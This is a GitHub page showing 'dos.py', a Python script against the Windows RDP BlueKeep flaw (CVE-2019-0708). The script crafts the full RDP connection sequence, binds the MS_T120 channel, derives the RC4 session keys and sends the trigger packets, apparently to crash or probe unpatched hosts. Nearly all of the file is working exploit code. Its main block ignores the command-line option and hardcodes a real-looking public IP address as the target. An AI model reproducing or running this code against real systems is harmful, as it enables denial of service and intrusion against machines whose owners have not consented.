This repository has been archived by the owner on Jan 10, 2021. It is now read-only.
-
Notifications
You must be signed in to change notification settings - Fork 125
/
dos.py
446 lines (323 loc) · 19.1 KB
/
dos.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
import sys
import struct
import socket
import hashlib
from Crypto.Cipher import ARC4
import binascii
import time
import argparse
R = '\033[91m' # red
W = '\033[0m' # white
def parser_error(errmsg):
print("Usage: python " + sys.argv[0] + " [Options] use -h for help")
print(R + "Error: " + errmsg + W)
sys.exit()
def parse_args():
parser = argparse.ArgumentParser(epilog='\tExample: \r\npython ' + sys.argv[0] + " [options]")
parser.error = parser_error
parser._optionals.title = "OPTIONS"
parser.add_argument('--host', help="target ip to scan for CVE-2019-0708 - BlueKeep")
return parser.parse_args()
def error_msg(msg):
print(R + "Error: " + msg + W)
sys.exit()
def hexdump(src, length=16):
FILTER = ''.join([(len(repr(chr(x))) == 3) and chr(x) or '.' for x in range(256)])
lines = []
for c in xrange(0, len(src), length):
chars = src[c:c+length]
hex = ' '.join(["%02x" % ord(x) for x in chars])
printable = ''.join(["%s" % ((ord(x) <= 127 and FILTER[ord(x)]) or '.') for x in chars])
lines.append("%04x %-*s %s\n" % (c, length*3, hex, printable))
return ''.join(lines)
def check_rdp_vuln(username):
x_224_conn_req = "\x03\x00\x00" + "{0}" # TPKT Header
x_224_conn_req+= chr(33+len(username)) # X.224: Length indicator
x_224_conn_req+= "\xe0" # X.224: Type - TPDU
x_224_conn_req+= "\x00\x00" # X.224: Destination reference
x_224_conn_req+= "\x00\x00" # X.224: Source reference
x_224_conn_req+= "\x00" # X.224: Class and options
x_224_conn_req+= "\x43\x6f\x6f\x6b\x69\x65\x3a\x20\x6d\x73\x74\x73\x68\x61\x73\x68\x3d" # "Cookie: mstshash=
x_224_conn_req+= username # coookie value
x_224_conn_req+= "\x0d\x0a" # Cookie terminator sequence
x_224_conn_req+= "\x01" # Type: RDP_NEG_REQ)
x_224_conn_req+= "\x00" # RDP_NEG_REQ::flags
x_224_conn_req+= "\x08\x00" # RDP_NEG_REQ::length (8 bytes)
x_224_conn_req+= "\x00\x00\x00\x00" # Requested protocols (PROTOCOL_RDP)
return x_224_conn_req
def pdu_connect_initial(hostname):
host_name = ""
for i in hostname:
host_name+=struct.pack("<h",ord(i))
host_name+= "\x00"*(32-len(host_name))
mcs_gcc_request = ("\x03\x00\x01\xca" # TPKT Header
"\x02\xf0\x80" # x.224
"\x7f\x65\x82\x01\xbe" # change here
"\x04\x01\x01\x04"
"\x01\x01\x01\x01\xff"
"\x30\x20\x02\x02\x00\x22\x02\x02\x00\x02\x02\x02\x00\x00\x02\x02\x00\x01\x02\x02\x00\x00\x02\x02\x00\x01\x02\x02\xff\xff\x02\x02\x00\x02\x30\x20"
"\x02\x02\x00\x01\x02\x02\x00\x01\x02\x02\x00\x01\x02\x02\x00\x01\x02\x02\x00\x00\x02\x02\x00\x01\x02\x02\x04\x20\x02\x02\x00\x02\x30\x20\x02\x02"
"\xff\xff\x02\x02\xfc\x17\x02\x02\xff\xff\x02\x02\x00\x01\x02\x02\x00\x00\x02\x02\x00\x01\x02\x02\xff\xff\x02\x02\x00\x02\x04\x82\x01\x4b" # chnage here
"\x00\x05\x00\x14\x7c\x00\x01\x81\x42" # change here - ConnectPDU
"\x00\x08\x00\x10\x00\x01\xc0\x00\x44\x75\x63\x61\x81\x34" # chnage here
"\x01\xc0\xd8\x00\x04\x00\x08\x00\x20\x03\x58\x02\x01\xca\x03\xaa\x09\x04\x00\x00\x28\x0a\x00\x00")
mcs_gcc_request+= host_name # Client name -32 Bytes - we45-lt35
mcs_gcc_request+=(
"\x04\x00\x00\x00\x00\x00\x00\x00\x0c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\xca\x01\x00\x00\x00\x00\x00\x18\x00\x07\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\xc0\x0c\x00\x09\x00\x00\x00\x00\x00\x00\x00\x02\xc0\x0c\x00\x03\x00\x00\x00\x00\x00\x00\x00"
"\x03\xc0"
"\x44\x00"
"\x04\x00\x00\x00" #channel count
"\x63\x6c\x69\x70\x72\x64\x72\x00\xc0\xa0\x00\x00" #cliprdr
"\x4d\x53\x5f\x54\x31\x32\x30\x00\x00\x00\x00\x00" #MS_T120
"\x72\x64\x70\x73\x6e\x64\x00\x00\xc0\x00\x00\x00" #rdpsnd
"\x73\x6e\x64\x64\x62\x67\x00\x00\xc0\x00\x00\x00" #snddbg
"\x72\x64\x70\x64\x72\x00\x00\x00\x80\x80\x00\x00" #rdpdr
)
return mcs_gcc_request
def hex_str_conv(hex_str):
hex_res = ""
for i in bytearray(hex_str):
hex_res+="\\x"
hex_res+="%02x"%i
return hex_res
def bin_to_hex(s):
return s.encode("hex")
def bytes_to_bignum(bytesIn, order = "little"):
if order == "little":
bytesIn = bytesIn[::-1]
bytes = bin_to_hex(bytesIn)
s = "0x"+bytes
return int(s,16)
def int_to_bytestring(daInt):
hex_pkt = "%x"%daInt
return binascii.unhexlify(hex_pkt)[::-1]
def rsa_encrypt(bignum, rsexp, rsmod):
return (bignum ** rsexp) % rsmod
def rdp_rc4_crypt(rc4obj, data):
return rc4obj.encrypt(data)
def rdp_parse_serverdata(pkt):
ptr = 0
rdp_pkt = pkt[0x49:]
while ptr < len(rdp_pkt):
header_type = rdp_pkt[ptr:ptr+2]
header_length = struct.unpack("<h",rdp_pkt[ptr+2:ptr+4])[0]
print("- Header: {} Len: {}".format(bin_to_hex(header_type),header_length))
if header_type == "\x02\x0c":
print("- Security Header")
# print("Header Length: {}".format(header_length))
server_random = rdp_pkt[ptr+20:ptr+52]
public_exponent = rdp_pkt[ptr+84:ptr+88]
modulus = rdp_pkt[ptr+88:ptr+152]
print("- modulus_old: {}".format(bin_to_hex(modulus)))
rsa_magic = rdp_pkt[ptr+68:ptr+72]
if rsa_magic != "RSA1":
print("Server cert isn't RSA, this scenario isn't supported (yet).")
# sys.exit(1)
print("- RSA magic: {}".format(rsa_magic))
bitlen = struct.unpack("<L",rdp_pkt[ptr+72:ptr+76])[0] - 8
print("- RSA bitlen: {}".format(bitlen))
modulus = rdp_pkt[ptr+88:ptr+87+1+bitlen]
print("- modulus_new: {}".format(bin_to_hex(modulus)))
ptr += header_length
print("- SERVER_MODULUS: {}".format(bin_to_hex(modulus)))
print("- SERVER_EXPONENT: {}".format(bin_to_hex(public_exponent)))
print("- SERVER_RANDOM: {}".format(bin_to_hex(server_random)))
rsmod = bytes_to_bignum(modulus)
rsexp = bytes_to_bignum(public_exponent)
rsran = bytes_to_bignum(server_random)
return rsmod, rsexp, rsran, server_random, bitlen
def pdu_channel_request(userid,channel):
join_req = "\x03\x00\x00\x0c\x02\xf0\x80\x38"
join_req+= struct.pack(">hh",userid,channel)
return join_req
def mcs_erect_domain_pdu():
mcs_erect_domain_pdu = "\x03\x00\x00\x0c\x02\xf0\x80\x04\x00\x01\x00\x01"
return mcs_erect_domain_pdu
def msc_attach_user_pdu():
msc_attach_user_pdu = "\x03\x00\x00\x08\x02\xf0\x80\x28"
return msc_attach_user_pdu
def pdu_security_exchange(rcran, rsexp, rsmod, bitlen):
encrypted_rcran_bignum = rsa_encrypt(rcran, rsexp, rsmod)
encrypted_rcran = int_to_bytestring(encrypted_rcran_bignum)
bitlen += 8
bitlen_hex = struct.pack("<L",bitlen)
print("Encrypted client random: {}".format(bin_to_hex(encrypted_rcran)))
userdata_length = 8 + bitlen
userdata_length_low = userdata_length & 0xFF
userdata_length_high = userdata_length / 256
flags = 0x80 | userdata_length_high
pkt = "\x03\x00"
pkt+=struct.pack(">h",userdata_length+15) # TPKT
pkt+="\x02\xf0\x80" # X.224
pkt+="\x64" # sendDataRequest
pkt+="\x00\x08" # intiator userId
pkt+="\x03\xeb" # channelId = 1003
pkt+="\x70" # dataPriority
pkt+=struct.pack("h",flags)[0]
pkt+=struct.pack("h",userdata_length_low)[0] # UserData length
pkt+="\x01\x00" # securityHeader flags
pkt+="\x00\x00" # securityHeader flagsHi
pkt+= bitlen_hex # securityPkt length
pkt+= encrypted_rcran # 64 bytes encrypted client random
pkt+= "\x00\x00\x00\x00\x00\x00\x00\x00" # 8 bytes rear padding (always present)
return pkt
def rdp_salted_hash(s_bytes, i_bytes, clientRandom_bytes, serverRandom_bytes):
hash_sha1 = hashlib.new("sha1")
hash_sha1.update(i_bytes)
hash_sha1.update(s_bytes)
hash_sha1.update(clientRandom_bytes)
hash_sha1.update(serverRandom_bytes)
hash_md5=hashlib.md5()
hash_md5.update(s_bytes)
hash_md5.update(binascii.unhexlify(hash_sha1.hexdigest()))
return binascii.unhexlify(hash_md5.hexdigest())
def rdp_final_hash(k, clientRandom_bytes, serverRandom_bytes):
md5 = hashlib.md5()
md5.update(k)
md5.update(clientRandom_bytes)
md5.update(serverRandom_bytes)
return binascii.unhexlify(md5.hexdigest())
def rdp_hmac(mac_salt_key, data_content):
sha1 = hashlib.sha1()
md5 = hashlib.md5()
pad1 = "\x36" * 40
pad2 = "\x5c" * 48
sha1.update(mac_salt_key)
sha1.update(pad1)
sha1.update(struct.pack('<L',len(data_content)))
sha1.update(data_content)
md5.update(mac_salt_key)
md5.update(pad2)
md5.update(binascii.unhexlify(sha1.hexdigest()))
return binascii.unhexlify(md5.hexdigest())
def rdp_calculate_rc4_keys(client_random, server_random):
preMasterSecret = client_random[0:24] + server_random[0:24]
masterSecret = rdp_salted_hash(preMasterSecret,"A",client_random,server_random) + rdp_salted_hash(preMasterSecret,"BB",client_random,server_random) + rdp_salted_hash(preMasterSecret,"CCC",client_random,server_random)
sessionKeyBlob = rdp_salted_hash(masterSecret,"X",client_random,server_random) + rdp_salted_hash(masterSecret,"YY",client_random,server_random) + rdp_salted_hash(masterSecret,"ZZZ",client_random,server_random)
initialClientDecryptKey128 = rdp_final_hash(sessionKeyBlob[16:32], client_random, server_random)
initialClientEncryptKey128 = rdp_final_hash(sessionKeyBlob[32:48], client_random, server_random)
macKey = sessionKeyBlob[0:16]
print("PreMasterSecret = {}".format(bin_to_hex(preMasterSecret)))
print("MasterSecret = {}".format(bin_to_hex(masterSecret)))
print("sessionKeyBlob = {}".format(bin_to_hex(sessionKeyBlob)))
print("macKey = {}".format(bin_to_hex(macKey)))
print("initialClientDecryptKey128 = {}".format(bin_to_hex(initialClientDecryptKey128)))
print("initialClientEncryptKey128 = {}".format(bin_to_hex(initialClientEncryptKey128)))
return initialClientEncryptKey128, initialClientDecryptKey128, macKey, sessionKeyBlob
def pdu_client_info():
data = "000000003301000000000a000000000000000000"
data+="75007300650072003000" # FIXME: username
data+="000000000000000002001c00"
data+="3100390032002e003100360038002e0031002e00320030003800" # FIXME: ip
data+="00003c0043003a005c00570049004e004e0054005c00530079007300740065006d00330032005c006d007300740073006300610078002e0064006c006c000000a40100004700540042002c0020006e006f0072006d0061006c0074006900640000000000000000000000000000000000000000000000000000000000000000000000000000000a00000005000300000000000000000000004700540042002c00200073006f006d006d006100720074006900640000000000000000000000000000000000000000000000000000000000000000000000000000000300000005000200000000000000c4ffffff00000000270000000000"
return binascii.unhexlify(data)
def pdu_client_confirm_active():
data = "a4011300f103ea030100ea0306008e014d53545343000e00000001001800010003000002000000000d04000000000000000002001c00100001000100010020035802000001000100000001000000030058000000000000000000000000000000000000000000010014000000010047012a000101010100000000010101010001010000000000010101000001010100000000a1060000000000000084030000000000e40400001300280000000003780000007800000050010000000000000000000000000000000000000000000008000a000100140014000a0008000600000007000c00000000000000000005000c00000000000200020009000800000000000f000800010000000d005800010000000904000004000000000000000c000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000c000800010000000e0008000100000010003400fe000400fe000400fe000800fe000800fe001000fe002000fe004000fe008000fe000001400000080001000102000000"
return binascii.unhexlify(data)
def pdu_client_persistent_key_list():
data = "49031700f103ea03010000013b031c00000001000000000000000000000000000000aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
return binascii.unhexlify(data)
def rdp_encrypted_pkt(data, rc4enckey, hmackey, flags = "\x08\x00", flagsHi = "\x00\x00", channelId="\x03\xeb"):
userData_len = len(data) + 12
udl_with_flag = 0x8000 | userData_len
pkt = "\x02\xf0\x80" # X.224
pkt+= "\x64" # sendDataRequest
pkt+= "\x00\x08" # intiator userId .. TODO: for a functional client this isn't static
pkt+= channelId # channelId = 1003
pkt+= "\x70" # dataPriority
pkt+= binascii.unhexlify("%x"%udl_with_flag)
pkt+= flags #{}"\x48\x00" # flags SEC_INFO_PKT | SEC_ENCRYPT
pkt+= flagsHi # flagsHi
pkt+= rdp_hmac(hmackey, data)[0:8]
pkt+= rdp_rc4_crypt(rc4enckey, data)
tpkt = "\x03\x00"
tpkt+=struct.pack(">h",len(pkt) + 4)
tpkt+=pkt
return tpkt
def try_check(s,rc4enckey, hmackey):
for i in range(0,6):
res = s.recv(1024)
for i in range(0,6):
pkt = rdp_encrypted_pkt(binascii.unhexlify("100000000300000000000000020000000000000000000000"), rc4enckey, hmackey, "\x08\x00", "\x00\x00", "\x03\xed")
s.sendall(pkt)
pkt = rdp_encrypted_pkt(binascii.unhexlify("20000000030000000000000000000000020000000000000000000000000000000000000000000000"), rc4enckey, hmackey, "\x08\x00", "\x00\x00", "\x03\xed")
s.sendall(pkt)
for i in range(0,4):
res = s.recv(1024)
if binascii.unhexlify("0300000902f0802180") in res:
print("[+] Found MCS Disconnect Provider Ultimatum PDU Packet")
print("[+] Vulnerable....Vulnerable.... Vulnerable")
print("[+] HexDump: MCS Disconnect Provider Ultimatum PDU")
print hexdump(res)
def exploit(host,port,hostname,username):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
print("[+] Verifying RDP Portocol....")
x_224_conn_req = check_rdp_vuln(username)
s.sendall(x_224_conn_req.format(chr(33+len(username)+5)))
s.recv(8192)
print "[+] PDU X.224 Response Received."
print "[+] Sending MCS Connect Initial PDU with GCC Conference."
s.sendall(pdu_connect_initial(hostname))
res = s.recv(10000)
print "[+] MCS Response PDU with GCC Conference Received."
rsmod, rsexp, rsran, server_rand, bitlen = rdp_parse_serverdata(res)
print "[+] Sending MCS Erect Request."
s.sendall(mcs_erect_domain_pdu())
print "[+] Sending MCS Attach User PDU Request."
s.sendall(msc_attach_user_pdu())
res = s.recv(8192)
mcs_packet = bytearray(res)
user1= mcs_packet[9] + mcs_packet[10]
print("[+] Send PDU Request for 7 channel with AttachUserConfirm::initiator: {}".format(user1))
s.sendall(pdu_channel_request(user1, 1009))
s.recv(8192)
s.sendall(pdu_channel_request(user1, 1003))
s.recv(8192)
s.sendall(pdu_channel_request(user1, 1004))
s.recv(8192)
s.sendall(pdu_channel_request(user1, 1005))
s.recv(8192)
s.sendall(pdu_channel_request(user1, 1006))
s.recv(8192)
s.sendall(pdu_channel_request(user1, 1007))
s.recv(8192)
s.sendall(pdu_channel_request(user1, 1008))
s.recv(8192)
client_rand = "\x41" * 32
rcran = bytes_to_bignum(client_rand)
print("[+] Sending security exchange PDU")
s.sendall(pdu_security_exchange(rcran, rsexp, rsmod, bitlen))
rc4encstart, rc4decstart, hmackey, sessblob = rdp_calculate_rc4_keys(client_rand, server_rand)
print("- RC4_ENC_KEY: {}".format(bin_to_hex(rc4encstart)))
print("- RC4_DEC_KEY: {}".format(bin_to_hex(rc4decstart)))
print("- HMAC_KEY: {}".format(bin_to_hex(hmackey)))
print("- SESS_BLOB: {}".format(bin_to_hex(sessblob)))
rc4enckey = ARC4.new(rc4encstart)
print("[+] Sending encrypted client info PDU")
s.sendall(rdp_encrypted_pkt(pdu_client_info(), rc4enckey, hmackey, "\x48\x00"))
res = s.recv(8192)
print("[+] Received License packet: {}".format(bin_to_hex(res)))
res = s.recv(8192)
print("[+] Received Server Demand packet: {}".format(bin_to_hex(res)))
print("[+] Sending client confirm active PDU")
s.sendall(rdp_encrypted_pkt(pdu_client_confirm_active(), rc4enckey, hmackey, "\x38\x00"))
print("[+] Sending client synchronize PDU")
print("[+] Sending client control cooperate PDU")
synch = rdp_encrypted_pkt(binascii.unhexlify("16001700f103ea030100000108001f0000000100ea03"), rc4enckey, hmackey)
coop = rdp_encrypted_pkt(binascii.unhexlify("1a001700f103ea03010000010c00140000000400000000000000"), rc4enckey, hmackey)
s.sendall(synch + coop)
print("[+] Sending client control request control PDU")
s.sendall(rdp_encrypted_pkt(binascii.unhexlify("1a001700f103ea03010000010c00140000000100000000000000"), rc4enckey, hmackey))
print("[+] Sending client persistent key list PDU")
s.sendall(rdp_encrypted_pkt(pdu_client_persistent_key_list(), rc4enckey, hmackey))
print("[+] Sending client font list PDU")
s.sendall(rdp_encrypted_pkt(binascii.unhexlify("1a001700f103ea03010000010c00270000000000000003003200"), rc4enckey, hmackey))
result = try_check(s,rc4enckey, hmackey)
if __name__ == "__main__":
args = parse_args()
host = "103.253.72.5"
port=3389
hostname="lol"
username="non"
exploit(host,port,hostname,username)